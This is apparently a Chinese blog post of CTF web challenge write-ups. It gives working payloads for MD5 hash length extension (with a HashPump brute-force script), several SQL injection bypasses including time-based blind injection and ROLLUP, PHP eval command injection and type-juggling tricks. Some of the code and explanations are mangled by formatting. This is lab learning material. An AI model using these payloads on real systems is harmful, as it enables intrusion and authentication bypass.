让我进去
打开网页后是一个登陆页面查看源码后发现并没有什么东西。那就直接上bp吧!发现cookie里有好多东西。值得注意的是sample-hash=571580b26c65f306376d4f64e53cb5c7,联想到有关hash长度扩展攻击。还有source参数
将source参数修改为一后,页面返回源码。
if (urldecode($username) === “admin” && urldecode($password) != “admin”) {
if ($COOKIE[“getmein”] === md5($secret . urldecode($username . $password))) {
echo “Congratulations! You are a registered user.\n”;
die (“The flag is “. $flag);
可以知道username为admin,而password不能为admin,还要设置cookie的一个参数getmein,且这个参数的MD5值要与secret+username+password的值相等,secret是一个15位长度的 密文。
在源码中可以看到setcookie(“sample-hash”, md5($secret . urldecode(“admin” . “admin”)), time() + (60 60 24 * 7));则可以知道sample-hash是由secret+adminadmin的MD5加密后得到的
之前设置的password不能等于admin就是个坑啊!那还能怎么办嗯?利用hash长度扩展攻击来绕过这个限定,构造出getmein。
原理:
1.hash加密的时候会将字符和数字转换成16进制,并填充到215bit
2.MD5加密过程中512比特(64字节)为一组,属于分组加密,而且在运算的过程中,将512比特分为32bit*16块,分块运算
3.我们关键利用的是MD5的填充,对加密的字符串进行填充(比特第一位为1其余比特为0),使之(二进制)补到448模512同余,即长度为512的倍数减64,
最后的64位在补充为原来字符串的长度,这样刚好补满512位的倍数,如果当前明文正好是512bit倍数则再加上一个512bit的一组。
4.MD5不管怎么加密,每一块加密得到的密文作为下一次加密的初始向量IV,这一点很关键!!!
5.MD5的最后8位是加密内容的长度
hash长度扩展攻击资料.了解一下原理。
知道了解了以上的原理和内容那就根据题目来构造绕过这个hash加密。现在只知道secret的长度为15并且不知道他的内容,而且知道sample-hash是由secret和adminadmin经过MD5后得到的
结果。那么就根据hash扩展的原理进行做。原始明文16进制下填充xxxxxxxxxxxxxxxadminadmin\x80(填满48位,偷个懒不写了)\xc8\x00\x00\x00\x00\x00\x00\x00,那就加入所要加入的信息(这个随便)
我加入的是kobe,那么就构造出username为admin,password为admin\x80(填满48位,偷个懒不写了)\xc8\x00\x00\x00\x00\x00\x00\x00kobe。因为是urldecode过的,所以要将16进制的password反urldecode一下就是
将\x换成%。知道了username和password后那么就要构造重头戏getmein的hash值。这个可以通过hashpump工具或者自己写个脚本。
安装hashpump步骤
git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev(gcc编译的需要下载这个工具)
cd HashPump
make
make install
然后将得到的hash值和username和password输入得到flag
葛大佬链接
简单的sql注入2
进来开始输入’,发现会报错说明’没有被过滤。然后进过测试发现空格会被过滤。那就寻找空格的替代品,有以下几个%20,%0a,//,/!/,/!50000/,+,()。+,()都被过滤了
//没有被过滤。那就来找flag,构造’//union/select//select//flag//from//flag#(因为select被过滤掉了,所以可以采用//来间隔消除过滤)
who are you
打开页面后发现提示your ip is:112.10.20.111一下就想到了ip伪造x-forwarded-for打开burp就开干。
并没有什么变化,这个时候陷入僵局。在考虑是不是通过伪造ip来进行过滤,输入’返回’ ,然后输入其他来进行判断发现返回就是输入的值那就判断是基于时间的盲注,用sleep()
来作,通过构造’ or sleep(3) and ‘1’=’1 有延迟注入成功。
在猜测到有表名和列名为flag,’ or sleep(3) and (select flag from flag)=’1.得到表名和列名后开始写脚本来跑 构造的sql语句为’ or sleep(3) and (select substring(flag from i for 1) from flag)=’’为x—forwarded-for
的header
因缺思汀的绕过
两个提交框点击查看源码一个是uname,另一个是pwd。然后发现有一个source.txt源码文件打开后读源码. 找到关键的代码
发现好多东西都被过滤掉了,但是or group by ,rollup等还没有被过滤掉。嘿嘿可以用用。然后根据源码来一步步注入:从$sql=”SELECT * FROM interest WHERE uname = ‘{$_POST[‘uname’]
}’和mysql_num_rows($query) == 1知道返回的行数必须为一。所以可以来构造uname这个参数为:’ or 1 limit 1#来绕过,然后在下面的代码中$key = mysql_fetch_array($query);if($key[‘pwd’] == $_POST[‘pwd’])
中要使得返回的pwd和post的pwd相等那么就需要用到rollup,可以将某列中的一个或所有行都变成null。那么就可以根据以上的信息来注入了。’ or 1 group by pwd with rollup limit 1 offset 2#.将第二行设为null(第一行是字段名)
有点意思吧2
打开网页后,常规步骤右键查看源码发现并没有什么东西,然后直接上工具开始扫描网站目录。发现有一个index.php~的页面进入后
发现有一个压缩包下载解压后是源码。工具链接
<!DOCTYPE html>
<?php
$auth = false;
$role = “guest”;
$salt =
if (isset($_COOKIE[“role”])) {
$role = unserialize($_COOKIE[“role”]);
$hsh = $_COOKIE[“hsh”];
if ($role===”admin” && $hsh === md5($salt.strrev($_COOKIE[“role”]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie(‘role’,$s);
$hsh = md5($salt.strrev($s));
setcookie(‘hsh’,$hsh);
}
if ($auth) {
echo “
Welcome Admin. Your flag is“
} else {
echo “Only Admin can see the flag!!
“;
}
?>
有源码分析可以知道要想得到flag就必须要构造出一个role=admin,hsh=md5($salt.strrev($_COOKIE[“role”]。因为role是_COOKIE[“role”]
发序列化得到的要使得=admin则可以在开头构造s:5:”admin”;来绕过。然后就是要来绕过hsh的值,已经知道_COOKIE[hsh]=3a4727d57463f122833d9e732f94e4e0
那么可以根据hash的长度攻击来进行构造。长度攻击资料
由sttrev函数可以知道要将内容反转,_COOKIE[rolr]=s:5:”guest”;反转后为;”tseug”:5:s,由于不知道salt的长度所以需要用脚本来进行
暴力剖解。
encoding=utf-8
md5($salt.” ;”tseug”:5:s “) = 3a4727d57463f122833d9e732f94e4e0
md5($salt.” ;”tseug”:5:s xxxxx ;”nimda”:5:s “) = xxxxxxxxxxxxxxxxxxxxxxxxxxxxx
import requests
import hashpumpy
import urllib
hexdigest = “3a4727d57463f122833d9e732f94e4e0”
original_data = “;\”tseug\”:5:s”
data_to_add = “;\”nimda\”:5:s”
url = “http://web.jarvisoj.com:32778"
设置key_length的范围
for key_length in xrange(1, 15):
result = hashpumpy.hashpump(hexdigest, original_data, data_to_add, key_length);
role_re = result[1][::-1]; # 16进制\x80 代表一个字符 可以直接对换
role = urllib.quote(role_re) # 16进制直接url编码得到 %xx
hsh = result[0];
cookies = {‘role’: role, ‘hsh’: hsh}
response = requests.get(url, cookies=cookies)
if response.headers[‘Content-Length’] != ‘210’:
print key_length
print response.text
break;
else:
print key_length
得flag。
hello
解题思路,需要加上关键截图,最后要看到解出的flag。Xxxxx
<?php
include “flag.php”;
error_reporting(0);
show_source(FILE);
$a = @$_REQUEST[‘hello’];
eval(“var_dump($a);”);
有request相应变量为hello,var_dump($a)来注入hello=);echo cat ./flag.php
;// 反引号在linux中具有命令替换的功能,
分析以上的flag.php文件来进行注入.eval(“var_dump($a)”)双引号不忽略`使得命令可以执行。注入后得flag
WEB-1(WEB签到)
<?php
highlight_file(‘flag.php’);
$_GET[‘id’] = urldecode($_GET[‘id’]);
$flag = ‘bdctf{xxxxxxxxxxxxxxxxxx}’;
if (isset($_GET[‘user’]) and isset($_POST[‘pass’])) {
if ($_GET[‘user’] == $_POST[‘pass’])
print 'pass can not be user.';
else if (sha1($_GET['user']) === sha1($_POST['pass'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
由以上代码可以看出是需要有 一个get id=margin 以及sha1($_GET[‘user’]) === sha1($_POST[‘pass’]又由php无法处理数组可以作
如下处理user[]=1 post 中pass[]=2就可以成功绕过
俄罗斯方块
打开题目链接是一个玩俄罗斯方块游戏的界面,然后查看网页源代码发现里面有一个tetris.js源文件,打开后
看到javascript源代码,将代码格式化可以看到有一个
关键的函数:
this.mayAdd = function(a) {
if (this.scores.length < this.maxscores) return 1E6 < a && (a = new p, a.set(“urlkey”, “webqwer” [1] + “100.js”, 864E5)),
!0;
for (var b = this.scores.length - 1; 0 <= b; –b) if (this.scores[b].score < a) return 1E6 < a && (a = new p, a.set(“urlkey”, “webqwer” [1] + “100.js”, 864E5)),
!0;
return ! 1
};
然后查看this.set有五个参数而在上述却只有3个参数不太呀!想不通了。。。。。。
查看大佬wp后得知urlkey->url+e100.js打开后是jsfuck编码 然后解码解码
对方不想和你说话,并向你扔来了世界上最好的语言
<?php
show_source(FILE);//高亮
$v1=0;$v2=0;$v3=0;//定义三个变量,分别v1 v2 v3
$a=(array)json_decode(@$_GET[‘foo’]);//get的方式得到foo参数的值
if(is_array($a)){
is_numeric(@$a[“bar1”])?die(“nope”):NULL;
if(@$a[“bar1”]){
($a[“bar1”]>2016)?$v1=1:NULL;
}//要求foo值里面要有一个键名是bar1的键值与2016比较且大于2016
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}//要求foo值里面有个键名为bar2且其键值为一个长度等于5的数组且第一个值也为数组,还要有一个键名为a2键值为nudt
$v2=1;
}
}
$c=@$_GET[‘cat’];
$d=@$_GET[‘dog’];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi(“3|1|c”,$d.$c[0])?die(“nope”):NULL;
strpos(($c[0].$d), “htctf2016”)?$v3=1:NULL;
}
}//要求cat参数的cat[0]=htctf2016由于eregi需要截断所以要用%00截断,所以cat[1]=%00htctf2016,cat[1]与dog相比不相等就行
if($v1 && $v2 && $v3){
include “flag.php”;
echo $flag;
}
?>
因此参数为foo={“bar1”:”2017a”,”bar2”:[[1],1,2,3,0],”a2”:[“nudt”,1,2,3,0]}&cat[0]=%00htctf2016&cat[1][]=1111&d=1
即可得到flag
水能载舟亦可赛艇
首先查看源码发现有一个source.txt源码文件打开后读源码
可以看到,这里面有SQL的一个过滤器,把一些sql的关键字例如benchmark,join等都过滤了
而且sql查询语句是:
[php] view plain copy 在CODE上查看代码片派生到我的代码片
SELECT * FROM interest WHERE uname = ‘{$_POST[‘uname’]}
又由:
[php] view plain copy 在CODE上查看代码片派生到我的代码片
mysql_num_rows($query) == 1
这个判断可以得知数据库中的记录就只有一条,这部分逻辑大概就是然后通过提交的uname查询出结果,如果结果只有一条则继续,如果查询结果中的pwd字段和post过去的key值相同,则给出flag。
这时就要用到注入的一个小技巧,我们使用group by pwd with rollup 来在查询结果后加一行,并且这一行pwd字段的值为NULL
在mysql官方文档中是这样描述rollup函数的:
大概的意思就是在GROUP BY子句中使用WITH ROLLUP会在数据库中加入一行用来计算总数,ROLLUP子句的更加详细的用法,可以参考mysql的官方文档,此处就不多做赘述了。
再结合limit和offset就可以写出一个payload
即:输入的用户名为:’ or 1=1 group by pwd with rollup limit 1 offset 2 #
这里解释一下此时执行的SQL:
SELECT * FROM interest where uname=’ ‘ or 1=1
group by pwd with rollup (在数据库中添加一行使得pwd=NULL)
limit 1 (只查询一行)
offset 2 (从第二行开始查询)
#注释
此时密码只要为空即可查询成功